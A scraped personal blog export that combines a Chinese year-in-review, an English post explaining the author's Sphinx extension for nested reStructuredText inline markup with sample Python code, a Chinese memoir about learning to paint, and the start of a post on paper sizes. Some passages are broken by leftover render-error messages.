睡眠相较 22 年有明显改善，大致都是 2:00 入睡，7 个小时左右，可能跟我买了小米手环有关，某种程度上会为了好看的睡眠数据而好好睡觉。

衣食住行

衣

今年没有买衣服，之前锻炼出来的一点穿搭基础可能已经还回去了。

食

身处美食荒漠，大部分时候工作日吃食堂，周末点陈八两。老乡给我推荐的「鹅味研究所」应该是我的年度最佳，在杭州所有潮汕特色餐厅里，它是最正宗的，没有之一。

5 月在广州爽快吃的几天，几乎每一家都好评，一定要说谁最惊喜的话，可能是达扬炖品。

住

8 月从回迁房的隔断搬到敞亮的网红 LOFT，房租怒涨 1000，体验也着实不错。豆豆正好在我搬完家之后来睡了一宿，给了北京人民一点杭州震撼。冬天还是要忍受楼上楼下近十度的温差，最近起居已经完全在楼上了。

行

5 月份和 ^{Render Report}
System Message: ERROR/2 (None, line None); backlink

Render Report:

Failed to render markup text to inline nodes:
```
'Values' object has no attribute 'tab_width'
```
去了趟广州，吃了四天，见了根兴和他老婆，一起逛了华农
6 月份去北京参加 GopherCon，借此参加春宇的全羊局，长亭老同事们都见了一遍，要回了押金，而后去怀柔看胡林昊的工作室
9 月底去燕郊，国庆后 👤 jinzhu 问我要不要顺路去北京出差，于是得以和网友同事面基；和另一拨长亭同事吃了饭；和老朋友 ^{Render Report}
System Message: ERROR/2 (None, line None); backlink

Render Report:

Failed to render markup text to inline nodes:
```
'Values' object has no attribute 'tab_width'
```
吃了饭；和 GPY 吃了饭；还和群友 ysgg、收工小酌了一番
11 月组里团建，去了阳澄湖，第一次吃大闸蟹

其实应该多出去玩玩，能带上爸妈就更好了。

购物

人到中年，可能没有暴富就会变抠，今年买小物件都是拼多多，大东西先看闲鱼再看京东淘宝，而且都是挑便宜的。

看了以下没什么特别的开销，颜料、羽毛球、羽毛球鞋（今年穿坏了一双）都是必要的。闲鱼买了旅行琴、音箱啥的基本也是地板价。

因为觉得东西太多了也在避免购物，实施了一段时间买一出一政策（每买入一件东西，卖出或者扔掉现有的一件），卖了一些闲置的设备（路由器、Pico 啥的），今年还入账小三千 :D

理财

尽管去年开始就意识到理财是个刚需，但我实在没兴趣+没时间，简单挣扎过后，目前处于放弃状态。基本上就是短债+招行的 XX 宝+大额存单+定存，年度收益 2.29%，甚至还不如我妈 Q_Q

年中买了点寿险，明知很坑，但这钱也没有别的好去处，就这样吧。

游戏

今年打的游戏不多：

旷野之息:: 3 月的时候通关，可能是打通的时间跨度太大了, 总的来说没有那么享受
王国之泪:: 借日元下跌 + Paypal 国际支付优惠 + 任亏券的组合拳 200+ 入手了。但打了不到一半就搁置了
席德梅尔的文明 VI:: 一切的灾厄的源头，浪费了我无数个病假用来补觉，今年足足花了有 260 个小时在文明六上

从水下第一个生命的萌芽开始…

我一直不喜欢玩策略类游戏，不想把为数不多的脑细胞用在游戏上，但文明六确是个特例，玩文明甚至在一定程度上指导了我的生活。

B 站网友通常认为文明六游戏时长要达到 1000+ 才能算入门，但只打了 200+ 小时的我已经有了一些感悟：

根据地图、国家和领袖尽早确定胜利方式（明确目标）
在每回合里做出有倾向性的、对胜利方式有利的决策（累积优势）
在关键的回合里把握住机会（厚积薄发）

这样的话雪球就很容易滚起来，到了后期就只需要坐牢了。当然实际操作上：1 需要刷个好图， 3 需要熟练度和强大的运算能力，新手如我都是靠打开「每回合自动存档」+ Save&Load 来凑一个好的 timing。而 2 的话需要了解不同国家不同领袖的的特质（推荐 up 主你好图图sdx 的真·教科书式讲解），在此基础上再练习「有倾向性的决策」有种运筹帷幄的满足感。而这样的决策，其实生活中也常常用得上：

我的目标是什么？我下一步的行动对此有帮助吗？

这么提问很简单，但每次要行动的时候并不会有个弹框出来让我确认，文明让我有更多这样的自省。

音乐

之前工作的时候会打开网易云日推，听着顺耳的加入每月歌单，基本是 JPop。近几年不太喜欢边坐牢边听了，于是能听到的新歌少很多。

前半年基本上听别野加奈+古川本舖；后半年突然发现了罗大佑的好，《童年》、《滚滚红尘》这种国民级歌曲之前也听过；因为阿信采访里说《之乎者也》如何好 [6] 我也专门去找来听，但真正打动我的是《未来的主人翁》。

赵雷的《署前街少年》听着也很顺耳，并且惊讶于《我记得》真是火遍了大街小巷（以及各种煽情小视频）。

吉他

可能是因为今年太不想画画了，对吉他反而有了更大的兴趣，这也意外推动了 sphinx-notes/lilypond 的开发。

最大的进步是搞懂了 CAGED 系统到底有什么用并且开始练习。对我起最大帮助的资料应该是 @BOHAN博涵的如何用「CAGED系统」解锁所有【和弦、琶音、音阶】以及来玩吉他的付费资料。现在的话 CAGED 的大三已经比较熟练，能在各个把位弹 145 之类的，小三和属七反应还是比较慢，一些指型按的质量也不够高。

其次是发现了老姚吉他的良心教程，坚定了唱谱有用的信念，另外网络仓鼠症也得到了极大的满足。

歌的话完整的只练了《恋曲 1980》，《小妹》，另外惊讶的发现很多简单的曲子（例如《漠河舞厅》）已经能直接上手了，算是入门了吧。

另外慢慢开始用拨片了，买了一堆一一尝试后，发现 PickBoy 用着最顺手，于是又买了几个，其他的就打入冷宫了。

离镜头最近的带孔的黑色拨片就是 PickBoy

按一年的跨度来讲，进步不大，但至少我明确了进步的路径。

设备

我平时很少买设备，毕竟都还没学好，但今年闲鱼上瘾了，还是小剁了一下。

^{Render Report}
System Message: ERROR/2 (None, line None); backlink

Render Report:

Failed to render markup text to inline nodes:
```
'Values' object has no attribute 'tab_width'
```
闲鱼 850 入手，偶尔连效果器用
^{Render Report}
System Message: ERROR/2 (None, line None); backlink

Render Report:

Failed to render markup text to inline nodes:
```
'Values' object has no attribute 'tab_width'
```
闲鱼 450 入手，当备用旅行琴

音响没什么可说，后面的琴可以聊一聊，我平时用的是一把尼龙弦的 ^{Render Report}

，有一段时间很想要钢弦的音色，又不想要多一把琴占地方。看了潘高峰老师的视频讲到这把琴，看价格合适于是收了一把。

好处：

便宜，虽然原价 1000+，但它闲置率太高了，咸鱼随随便便三五百收一把
虽然调弦高了四度（1、6 弦是 A 而不是 E），但好歹是把全功能吉他
26 寸和尤克里里一样，出差带上毫无压力，没事就能摸摸

坏处：

有效弦长短 + 做工一般带来了严重的音准问题，12 品就能有一个半音的偏差
品格太小，中高品位手指就放不太下了，能按的和弦有限
琴体太小带来的盒子音，不算大问题

现在的功夫用这把琴弹得很难听，还是欣赏一下 YouTube 的大佬吧：

警告

另外吐槽一下，今年吃过最大的亏竟是买吉他课，咸鱼接盘了别人的吉他课，第一位老师勉强还行，就是表达能力不好且完全不备课（草台班子+1），但好歹功夫有的。结果上了 5、6 节就跑路了。第二位老师是个无题弹磕磕巴巴但又洋洋得意的精神小伙，引发了我的生理性厌恶，并且告知我课程是「无限课时，每课时只有 30 分钟」，之前那个老师给你上一个小时是好心 blahblah。拜托，我来的单程就要 30 分钟了……

点名批评杭州「生而非凡吉他（三坝店）」，因为我是收的二手课，并且对杭州流氓的预付费服务有所领教，就没有和他们纠缠下去。

羽毛球

今年羽毛球也有不小进步，在大柳羽球陆陆续续上了 20+ 节课；在网上也看了很多刘辉教练的视频，只是不知道有多少转化到了实战中。

训练的大部分时间还是在练基本技术，矫正动作，全场步伐之类的。现在步伐自我感觉不错，有启动步了，网前被晃的概率比以前小很多，正手头顶也能转过身去。主动的高吊杀整体的失误率也低了。反手还是不好，顶多勉强回一个不加力的过渡。如果不考虑反手的话，现在也许有个弱四级。

今年也开始参加比赛了：一次公司内部比赛，被带飞到了第一名，但因为太弱几乎没有上场机会（甚至因为队友整体实力太强，连被田忌赛马都没机会），所以毫无体验感；另一次是大柳的学员赛，小组赛 7 场 1 胜 6 败，意识到自己在「会参加业余比赛的爱好者」里还属于食物链的末端。但总之每参加一次，都会有衣服穿，挺好的。

伤病方面，轻微的膝盖、肩膀不适是有的，但都通过减少运动和矫正动作缓解/解决了，唯一大点的毛病是因为新鞋不合脚导致右脚大拇指甲掉了… 以及最近觉得小腿酸痛，经老中医球友提醒可能是胫夹症，每日提踵恢复中。

总结

写累了，不总结了。

脚注

Implementing "nested inline markup" in reStructuredText and Sphinx

2024-01-14T00:00:00+00:00

Background

Sphinx is a famous documentation generator used by a lot of Open Source communities. It uses reStructuredText (hereafter referred to rST) as markup language by default.

Unlike Markdown, rST does not yet support Nested Inline Markups, so text like "bold code" or "italic link" doesn't render as expected:

`bold`	bold	✔️
``code``	`code`	✔️
``bold code``	`bold code`	❌
``bold code``	``bold code``	❌

In rST, all inline markups are implemented by Interpreted Text Roles. For example, markup **foo** is equivalent to :strong:`foo`, "foo" is the interpreted text, and "strong" is the name of roles, which tells the renderer that "foo" should be highlighted. The same goes for markup `foo` and :literal:`foo`.

:strong:`bold`	bold	✔️
:literal:`code`	`code` System Message: INFO/1 (/home/runner/work/silverrainz.github.io/silverrainz.github.io/src/blog/sphinxnotes-comboroles.rst, line 40) No role entry for "literal" in module "docutils.parsers.rst.languages.zh_cn". Using English fallback for role "literal".	✔️

Interpreted text can only "be interpreted" once, so markups and roles inside interpreted text will be treated as plain text, which means the syntax of role is not nestable either:

:strong:```bold code```	:strong:`bold code`	❌
:literal:`bold code`	`bold code`	❌
:strong:`:literal:`bold code``	:literal:`bold code`	❌
:literal:`:strong:`bold code``	:strong:`bold code`	❌

Fortunately, rST is extensible, it allows users to create custom roles. Suppose we can create a role that combines the effects of two existing roles, then creating "bold code" is possible and it is true:

:strong_literal:`bold code`

bold code

✔️

The `sphinxnotes-comboroles` extension

I wrote a Sphinx extension sphinxnotes-comboroles, which can dynamically create composite roles from existing roles.

First, download the extension from PyPI:

$ pip install sphinxnotes-comboroles

Then, add the extension name to extensions configuration item in your conf.py:

extensions = [
          # …
          'sphinxnotes.comboroles',
          # …
          ]

To create a strong_literal role that same as described above, add the following configuration, which tells the extension to composite example roles strong and literal into a new role strong_literal:

comboroles_roles = {
    'strong_literal': ['strong', 'literal'],
}

Finally, you can use it:

:strong_literal:`bold code`

bold code

Nested Parse

We have said that markups in interpreted text will not be parsed, but the extension allows us to force parse the interpreted text, like this:

comboroles_roles = {
    'parsed_literal': (['literal'], True), # enable nested_parse
}

The above configuration creates a composite role parsed_literal with Nested Parse enabled, so the text "**bold code**" can be parsed.

``bold code``	`bold code`	❌
:parsed_literal:`bold code`	`bold code`	✔️

Further, hyperlinks, substitutions, and even roles inside interpreted text can be parsed too:

:parsed_literal:`https://example.com``	`https://example.com`
:parsed_literal:`\|today\|``	`2026 年 03 月 08 日`
:parsed_literal:`RFC: :rfc:\`1459\``	`RFC: RFC 1459`

备注

For nested roles, the backquote ` in interpreted text needs to be escaped.

Works with other Extensions

Not limited to Standard Roles, The extensions can also work with roles provided by some other extensions.

`sphinx.ext.extlink`

sphinx.ext.extlink is a Sphinx builtin extension to create shortened external links.

We have the following configuration, extlink creates the issue role, then comboroles creates a literal_issue role based on it:

extlinks = {
    'enwiki': ('https://wikipedia.org/wiki/%s', '📖 %s'),
}

comboroles_roles = {
    'literal_enwiki': ['literal', 'enwiki'],
}

:enwiki:`Lo Ta-yu`	📖 Lo Ta-yu
:literal_enwiki:`Lo Ta-yu`	`📖 Lo Ta-yu`

参见

Inspired by https://github.com/sphinx-doc/sphinx/issues/11745

`sphinxnotes.strike`

sphinxnotes.strike is another extension I wrote, which adds strikethrough text support to Sphinx:

comboroles_roles = {
   'literal_strike': ['literal', 'strike'],
}

:strike:`text`	text
:literal_strike:`text``	`text`

Limitation

警告

Due to internal implementation, the extension can only used to composite simple roles and may CRASH Sphinx when compositing complex roles. DO NOT report to Sphinx first if it crashes, please report to https://github.com/sphinx-notes/comboroles/issues/new

How it works

Someone may be curious how the extension is implemented. In fact, it is quite simple, about 30 lines of code.

The Docutils Document Tree

Before going further, we need to have some basic understanding of the Document Tree of docutils [1] (hereafter referred to as doctree). The doctree describes the data structure of a rST document (a *.rst file) [2]. Here is a simplified diagram of the hierarchy of elements in the doctree, we only focus on the highlighted lines:

Element hierarchy of doctree [3]

+--------------------------------------------------------------------+
| document  [may begin with a title, subtitle, decoration, docinfo]  |
|                             +--------------------------------------+
|                             | sections  [each begins with a title] |
+-----------------------------+-------------------------+------------+
| [body elements:]                                      | (sections) |
|         | - literal | - lists  |       | - hyperlink  +------------+
|         |   blocks  | - tables |       |   targets    |
| para-   | - doctest | - block  | foot- | - sub. defs  |
| graphs  |   blocks  |   quotes | notes | - comments   |
+---------+-----------+----------+-------+--------------+
| [text]+ | [text]    | (body elements)  | [text]       |
| (inline +-----------+------------------+--------------+
| markup) |
+---------+

The highlight lines describe the content model of Inline Elements. All inline markups and roles we just discussed belong to inline elements.

Inline elements directly contain text data, and may also contain further inline elements. [4]

We already know that roles can not contain further roles, so we conclude that: The limitation of inline nested markup is caused by rST's syntax, rather than the rST's content model.

By using the rst2pseudoxml command line, we can convert rST source code to text representation of doctree:

rST	doctree
bold ``code``	<document source="untitled.rst"> <paragraph> <strong> bold <literal> code

Words enclosed in angle brackets < and > represent nodes of the doctree, You can see that role :strong:`bold` is converted to a <strong> node in somehow (see next section) with interpreted text "bold" as its child.

The doctree of "bold code" is a combination of <strong> and literal node, which looks like:

<strong>
   <literal>
       bold code

Dynamic compositing

All roles of docutils are implemented in the same way [5]:

Define the Role Function, which receives the context of the parser, creates and returns inline elements (nodes), and does any additional processing required node.
Register the Role, with a name, such as "strong", then users can use it

We can simply create a role function, that returns a fixed combination like <strong> <literal> text, but it is not cool. There may are many combinations of various markups, I don’t want to implement them one by one. The better idea is:

In the function, we look up role functions from a set of role names and get the corresponding node by calling them
Nesting these nodes together

Note that not all node combinations make sense, it depends on the complexity role function and the implementation of builders. Fortunately:

Most of markups's role function are very simple: They wrap docutils.nodes.TextElement around the text [6]
The most commonly used builder is HTML builder, in its view, the combinations of nodes are combinations of HTML tags, which makes sense in most cases

The code implementation

sphinx.util.docutils.SphinxRole provides helper methods for creating roles in Sphinx, we use it instead of defining role function directly:

class CompositeRole(SphinxRole):
    #: Rolenames to be composited
    rolenames: list[str]

    def __init__(self, rolenames: list[str]):
        self.rolenames = rolenames

The run function is equivalent to the role function, but bounded with the SphinxRole subclass we created:

def run(self) -> tuple[list[Node], list[system_message]]:
   ...

Here we look up role functions. _roles and _role_registr are unexported variables of docutils.parsers.rst.roles that store the mapping from role name to role function:

components = []
for r in self.rolenames:
    if r in roles._roles:
        components.append(roles._roles[r])
    elif r in roles._role_registry:
        components.append(roles._role_registry[r])
    else:
       # Error handling...

备注

We can not look up during __init__, some roles created by 3rd-party extension do not exist yet at that time.

Run all role function, pass parameters as is, then collect the returning nodes:

nodes: list[TextElement] = []
for comp in components:
    ns, _ = comp(self.name, self.rawtext, self.text, self.lineno,
                 self.inliner, self.options, self.content)
    # Error handling...
    nodes.append(ns[0][0])

The returned nodes should be exactly one docutils.nodes.TextElement and contains exactly one docutils.nodes.Text as a child, like this:

<TextElement>
   <Text>

Nesting nodes together by replace the Text node with the inner(i+1) TextElement:

for i in range(0, len(nodes) -1):
    nodes[i].replace(nodes[i][0], nodes[i+1])

before	replace	after
i=0: <strong> <text> i=1: <literal> <text>	i=0: <strong> <text> ◄─┐ │ replace i=1: <literal> ─┘ <text>	i=0: <strong> <literal> <text>

Now, nodes[0] is the root of node combination, just return it:

return [nodes[0]], []

So the complete code looks like this:

class CompositeRole(SphinxRole):
    #: Rolenames to be composited
    rolenames: list[str]

    def __init__(self, rolenames: list[str]):
        self.rolenames = rolenames

    def run(self) -> tuple[list[Node], list[system_message]]:
        components = []
        for r in self.rolenames:
            if r in roles._roles:
                components.append(roles._roles[r])
            elif r in roles._role_registry:
                components.append(roles._role_registry[r])
            else:
               # Error handling...
               pass

        nodes: list[TextElement] = []
        for comp in components:
            ns, _ = comp(self.name, self.rawtext, self.text, self.lineno,
                         self.inliner, self.options, self.content)
            # Error handling...
            nodes.append(ns[0][0])

        for i in range(0, len(nodes) -1):
            nodes[i].replace(nodes[i][0], nodes[i+1])

        return [nodes[0]], []

The above code has been simplified for ease of explanation, for complete implementation, please refer to ⛺ sphinx-notes/comboroles.

Footnotes

辞职为学画（一）

2023-12-10T00:00:00+00:00

提示

这是一篇搁了好几年的草稿，后半段迟迟无法下笔，近年的心境已与那时大不相同，现在写出来总觉得自己在说谎，只好把一部分摘出来，让它得以见天日。希望有机会把后面的内容补完吧。

如果有哪一天我获得了幸福，我就再也不画画了。

今年去年前年 6 月的时候，我结束了在 ^{Render Report}

，回家准备面试；9 月，入职杭州字节，还是写代码。这一年间有不少朋友听说了我的事情，问为什么突然辞了职去学画画；面试的时候也会被问，你为什么选择这么做，现在怎么又回来了云云，我也一遍又一遍地重复着准备好的说辞。

我有个坏毛病，在人前时总想着说些漂亮话，羞于暴露自己「和别人不一样」的一面：

某:: 你辞职是为了追求梦想吗？
我:: 我就玩一玩，玩够了就接着回来打工，说不定到时候还要你帮忙内推呢😂️

回答差不多总是这样子，并不是说谎，我不期望这一年里能画出什么名堂，计划上过了一年就回来继续上班，结果上也确实如此。只是回想起这些话，总觉得难过，有些对不起自己。

我不是这样想的。

模糊的萌芽

我从小喜欢画画，但画画是什么东西？我从来没想过。

三年级的时候因为搬家转学，新学校的体育老师是个白了一半头发的大肚子爷爷，村里的小学没有什么体育设施可言，每次上课的时候只要让大家在沙地上集合点名，从储物间里拉出两箩筐七零八落的器材，大家一拥而上，先到先得。箩筐里有凑不成对儿的铁质羽毛球拍、花花绿绿的跳绳、总是不太有精神的篮球。爱打球的小朋友要是没抢到打满了气的好球，可以跟老师要球针，憋红了脸吹一吹还能顶一节课。

学校那会儿已经盖起了三层的教学楼，但体育老师的办公室还在平房的一个小单间里，没课的时候他在屋里画国画，那个时候他就是我的对画画认知的全部来源。我已经忘记我是怎么缠着他跟他要画儿的，能记得的是他给过我两张画，其中一张题字「小草」，前景是浓墨画的一奇石、两丛草，远景是淡淡的三座山。我将其视作珍宝，在还没长大的很长一段时间内，我的所谓「画画」就是一遍又一遍地，临摹老师送我的这张小画。

那时候还太小，临摹里没有加入任何的思考，画了百十张自然也收获缺缺，尽管如此也能收获周围的小朋友的夸赞。现在想来，我和他们的区别仅仅是我能坐得住，能在不用上课的日子里，趴在顶层的楼梯间里一声不吭地画一个下午罢了。

长大了一点开始能看懂非低龄向的动画片，星空、华娱那时候会播各种引进的动画片，《火影忍者》、《魔法少女小樱》、《犬夜叉》、《闪灵二人组》…… 我的兴趣就从涂墨水变成了临摹纸片人。现在回想起来感慨得很，我的哥哥姐姐那时候也和我一起看，为什么只有我长大之后成了老二次元呢？

喜欢这些动画片很大原因是因为里边炫酷的打打杀杀，自己也会画很多小人打打杀杀的场面，大部分在课本上，哪一科的老师越无聊，书上的战斗就越精彩些。「正经」画画的时候会临摹各种印刷品上的纸片人，可能是作业本的封面，也可能是特地买的动画片贴纸。我不是一个非常耐心的人，用自动铅匆匆把线稿画好之后，就想着快点勾线，上色，享受「完成」的成就感。这样画出来的形象，其实是非常不准的，但和更小的时候一样，同学们都不画画，就显得我画得很好一样 —— 直到我的姐姐画了她的第一张画。

姐姐是一个极聪明又有耐心的人，就我所知平时也不画画，有一天她突然窝在房间里很久，出来时给我看一张犬夜叉的线稿：非常干净的线，而我的纸上全是橡皮揉擦的痕迹。更重要的是，这太像了，和原画的观感一模一样，我甚至怀疑这是拓印的，但这显然不可能，姐姐不会说谎，两张画的大小也不一样。

这件事情在当时让我有些妒忌，但长远看来没有什么其他影响。姐姐之后就不再画了，她的时间更多的花在课业上，而我也没有被触动然后奋发图强云云。现在想起，只是感叹 自己「没有天赋」这件事情，从很早以前就有迹可循了 。

勤奋的兴趣生

中考我差了三分没能上区一中，去到了顺位下来的另一个高中。这个学校文化课成绩不好不坏，美术倒是无可争议的全区第一（社团活动也很丰富，我在这里有了编程的启蒙）。那时我尚不懂「美术高考」为何物，只知道大家都是在教室里上课，一年升一级，参加一样的考试，划线决定下一个学校。对于这种认知外的选择，我根本不会去有什么妄想。

学校在高一学生里招募打算参加艺考的学生组成专业班，同时也开设了画着玩儿的兴趣班。专业班的同学连续三年都由同一个美术老师指导，前两年下午放学后都要到艺术楼的画室里画画，最后一年则是外出集训，学生外出集训的当年老师便兼任兴趣班。因此兴趣班只持续一年，只接待高一的学生，强度上自然也不如专业班，退出机制也简单：不想上，就不上了呗。

对这些事情有了解都是后来的事情了，当时听到兴趣班的消息的我充满了一种对未知的好奇，这听起来是在我认知内的：不需要慎重的考虑，一学期一百块钱的材料费就能上。于是我兴冲冲报了名，还反复考虑：「在要不要去的时候把以前的画给老师看」，「老师会不会夸我啊」云云。

上课之前要准备铅笔和纸。我一直以为，只要是白纸就能画画，之前画「国画」虽然知道老师用的是宣纸，也从来没想过去买，一直用的是家里撕下的日历纸，白且大，当然「枯干渴润湿」的变化就不用想了，这样的纸仅仅是能沾上墨而已。当时住校也没有日历纸，我带上了平时做作业用的本子。

网上找到的同款图片

封面看起来比小时候用的厚多了

到了画室才发现大家带的纸和我不一样，足足有一张小课桌那么大，装在一个同样大的袋子里。画室里的桌子看起来好少，中间的空地上摆了非常多的木架，架上放着一块块的「砧板」。在一大堆人里我开始局促不安，想给老师看画的念头完全抛到了脑后，取而代之的是各种各样的疑问：

为什大家的纸都和我不一样……

桌子那么少，我现在是不是没位置了……

我带着做作业的本子会不会很好笑……

老师让大家把纸贴在「砧板」上，竖着放上架子 —— 铅笔削尖 —— 手伸直 —— 练习「拉线」。我硬着头皮把从本子上小小的纸撕下，贴在了大大的板子上，拿起红黑相间的中华铅笔，僵硬地伸直手，左一下，右一下，拉起线来。

不一会儿我就知道了，这是素描纸，这是画架，这是 四开 大的画板，我要画的是 素描。我当然听过「素描」，难堪里不由得又冒出几分激动，于是更认真地在小小的一方纸上来回拉线，满心想让老师快点注意到我，以后教我更多的东西。

拉几条线当然不能让老师注意到我，但不久后这个愿望还是实现了：每上一堂课，周围的人就少一大半，也许是觉得整天画线很无聊吧，到了画几何体结构的时候，人员基本上稳定在了十来人。某天老师在衬布上摆了一个石膏罐和几个水果，说你们几个可以不用画几何体了，来画静物，带光影的。

于是我们围着石膏罐坐下，换纸，削笔，一开始大家的画板都是横着放的，在下一张画的时候也未曾想要改变。可我却觉得面对这组静物，取景框是横的显得奇怪 —— 于是我把画板竖了起来。老师看见一堆画板里只有我的构图是竖着的，便过来夸奖了我一番，也许是从那个时候记住了我的名字？这就无从得知了。

第一张全因素素描

初学者的第一张画，除了构图之外再没有可圈可点之处了。当然那时候不这么想，我是一个极渴望被夸奖但又不敢表露的人，老师的夸奖给了我非常大的动力。我开始严格规划自己的每一天：

中午不休息，回寝室借着中午的太阳晒热的水洗澡（那时候宿舍没接热水，打水洗澡浪费时间）
那时候已经参加了计算机社团，洗完澡有时会去图书馆看 📖 电脑爱好者，或者用自己的小小手机看提前下载好的技术资料
下午一放学就飞奔到艺术楼，开始上课
六点五十，匆匆下楼到小卖部买两块钱一杯的奶茶和一块钱一个的奶油面包，赶在七点夜自修铃响之前回教室吃

这样的生活持续了大半个高一，时至今日，想起奶油面包的味道我还是觉得想吐，奶茶倒没有喝腻。

努力当然就会有起色，与此同时隔壁专业班的学生还处于享受高中生活的懒散阶段，大家慢慢知道隔壁兴趣班有个画得比专业班还好的小个子，上课的时候会有人从隔壁探过头来看，我的虚荣心那时候得到了极大的满足。

可惜留给我的时间不多了。

努力与选择

艺术楼里有三间画室，在我高一那年，从外到里分别是，兴趣班，高一专业班，高二专业班。每天准备离开的时候，其他画室基本上都没人了，我会开灯溜进去看看他们在画什么。

排除有童子功的同学，美术生的画力基本是按年级来分的。

高一开始基本只用四开的板子，画瓶瓶罐罐石膏体，上学期末或者下学期开始摸一摸水粉。

高二画石膏像、人像、更复杂的静物组合，画得好的同学可以开一张半开的 📖 大卫像，收获一整个画室艳羡的目光。

到了高三，画室慢慢变宽敞起来，学长学姐们已经把在基础课都走过一遍，放眼望去静物架上个个是老相识了。他们开始挑选集训的画室，想考清华央美的就去北京，想考国美的去杭州，想留在省内的，那就去广州。

集训回来后的学长学姐明显不一样了：速写再不需要起稿，一出手型就是准的，画出的线条没有磕磕绊绊的感觉。完成的一张画里很难找出哪里有不和谐的地方，似乎他们对如何在纸面上模拟这个世界，有了十足的把握。

这样的分层给我一种错觉：只要我升上高年级，我也能画得和他们一样好吧。我没有想到的是， 因为选择不同，我和专业生们走上了截然不同的道路。

高一的第一个寒假，和我过去的任何一个长假一样：我在家里呆着，看电视，写作业。和之前不同的是，我是一个画画的人了，我得画画呀。我买了一本那时候很流行的于小冬速写集，只要把这本书临完，我也可以不用起稿了吧？我还想画素描，从画室借了一本静物书，没有画架，就把四开纸铺在地上趴着画。

寒假在家临摹的唯一一张素描

签名是回学校之后让伟敏帮我签的，我那时候还没开始「练字」

看起来是很积极的规划，假期很快过去了，我并没有画多少张。

回想起来我一直是这样的，总会在某个时间段的开始给自己画一张美好的蓝图，填满时间表给我一种掌控一切的愉悦感，而这份愉悦总会在接下来的实施里统统还回去。

寒假结束，回到画室，我一边懊悔着虚度的寒假，一边祈祷着同学们假期只顾着疯玩，最好一张都没有画。实际情况是，专业班的学生们按照惯例参加了校外的画室。这个寒假的几乎每一天，他们都在画画 ——

我兴奋地规划自己的时间表，他们在画画；
我不慌不忙地写寒假作业，他们在画画；
我看电视，写代码，他们在画画；
当我终于觉得自己应该画画的时候，老师也许在给他们改画了；

一个寒假过后，我已经画得不如他们了 —— 选择走专业的他们，在正确的引导下付出了压倒性的时间成本。在这些面前，我的那么点努力算什么呢？

在之后的好多年里，我陷入了对自己是否热爱画画的反复质疑。

挂在艺术楼里的优秀作业 [1]

我以为这是我「永远」都达不到的高度。

编外人员的挣扎

高二，文理分科。对于专业生而言，如果后悔学美术了，这是不算太晚的退出时机；而对于想要转专业的兴趣生，这也是能赶上进度的最后机会，如果不转的话，兴趣生的课程也就结束了。

这时候专业生们要面临的道路，对我来说已经不再是认知外的事情了，甚至，它们成为了我生活中习以为常的一部分 —— 我动了一点想转专业的心思。

拦在我面前的问题有两个：

学画画很花钱，在 2012 年的时候，普通的外出集训的也要每月近万（其实我没有真正了解过，但印象是这样），即使集训完，艺术类专业的花销比普通专业依然大得多
在家里人看来，画画是文化课不好的孩子的选择，我的成绩还不赖，没有冒险换赛道的必要

我委婉地，旁敲侧击地跟父母表达了我的想法，自然没有得到支持。我也不争不吵，生了几天闷气后，一头扎进在时间的河里顺流而下。等再浮出水面的时候，我已经是高二的理科生了。

高一带我兴趣班的 ^{Render Report}

，送走了带了三年的专业生，现在开始带高一的专业班，一直持续到他们高三出去集训。其实我在之前就和蔓纯老师表达过我的忧虑，她说没关系，到时候你可以来高一的画室画。

尽管得到了这样的许诺，开学后我也没有马上回到画室。每天下课后就和同学一样排队洗澡，去食堂吃热腾腾的饭菜，多出来的时间就四处游荡。可能是觉得回去搞特殊很害羞，也可能是心生了退意，毕竟我 ——「并不是真的热爱画画」。

但学期近半的时候我还是回去了，那一天好像安排了大扫除，下午放学比平时早些。蔓纯老师看到我的时候挺惊讶，以为我不会再来了，怪我为什么没有一开学就过来，本来要交的材料费也帮我免掉了：是的，瞒着父母回画室的我，连一百块钱的都拿不出。就这样，我回归了画室生活。

回看那段生活是沉闷的，我的痛苦就是从那时候开始悄悄滋长。在一堆高一的小同学面前我好像虚长了一级，明明是学长卻还怯生生的 —— 于是我用沉默来避免露怯。老师推荐我画水彩，说既然不考学，就没有必要画枯燥的素描（尽管我从来不这么觉得）。

学新媒介是好事，可是水性材料并没有那么好入门，在竖着的画架上，流动的水更加难以控制，这样的困难让我变得很沮丧。老师很忙，顾不上我，绝大部分的时间我只能自己画；来画室不再是一件值得期待的事情。

备注

很后来才知道画水彩应该用水平式的画架，比如：🔍 荷尔拜因 WL-63。

后来慢慢和画室里的一些可爱学弟熟悉了，我才不那么沉默，但没办法开心起来：我自然而然地升上了高二了，可我没有自然而然地变得厉害起来。我眼睁睁地看着隔壁同级的专业生开始画石膏，画人像，粗糙的线条慢慢收敛得干净，干瘪的造型也慢慢变得饱满。我们已经不在一条道路上了，差距越来越大本就正常。可是我却没理由地怪罪自己，把自己的止步不前和他们的飞速进步通通归咎于自己的不努力，自己不够热爱画画。

在这样的自戕里，我变得自卑，敏感，外化出来的是情绪的剧烈波动和无休止的嗜睡。那个时候的小孩总会有些别的烦恼，我也一样不缺， 这些东西后来纠集在一起，滋生了一只黑狗紧跟我至今。

无论狗来不来，时间都不会停下脚步，高二下学期，高考的紧张感已经慢慢浮现了，我开始觉得自己不应该把多余的精力分摊在画画和编程上了，于是我退出了社团，告别了画室。

待续……

追记：害羞还是怯弱？

在写下这段文字的时候才我意识到，那时候最遗憾的事情既不是没有钱，也不是父母的偏见，而是我从来都没有考虑表达自己的真实感受。

从小到大我总是被教育要懂事，给人添麻烦是不懂事，想要喜欢的东西是不懂事。等我意识到自己被塑造成了一个羞于表达需求的小孩儿时，我的脸上早就没有一点小孩子的痕迹了。

要是我那时候那时候和父母争吵一番呢？我想要画画，我想要和他们一样变得厉害，我想要确认自己不是不喜欢画画。结局我想不会改变，可是我心里那颗不甘心的种子，就不会种下了吧。

写下上面这段话的时候还是 21 年的年底，两年过去，我又不太赞同那时候的自己了。我一直是个极端厌恶风险的人，所谓「没有表达自己的真实感受」也只是没有下定决心想要画画，如果我表达出来了，那我又该如何和别人展示自己那不存在的决心呢？

2023 年 12 月 10 日，我觉得自己是个胆小鬼。

脚注

纸张尺寸标准以及非标准纸张的收纳技巧

2022-06-26T00:00:00+00:00

之前画的大量小创作基本都是在 32K 的小张水彩纸上画的，然后装在蔓纯老师送我的正好 32K 的小画册 album-32k-1 里。后来画了一点 素描 和 ^{Render Report}

，分别用了阿诗的素描纸（310×230 mm）与哈内姆勒的水彩纸（300×240mm），他们的的尺寸比 A4（297×210 mm）大一点，又比 A3（420×297 mm）小不少，收纳起来很尴尬。

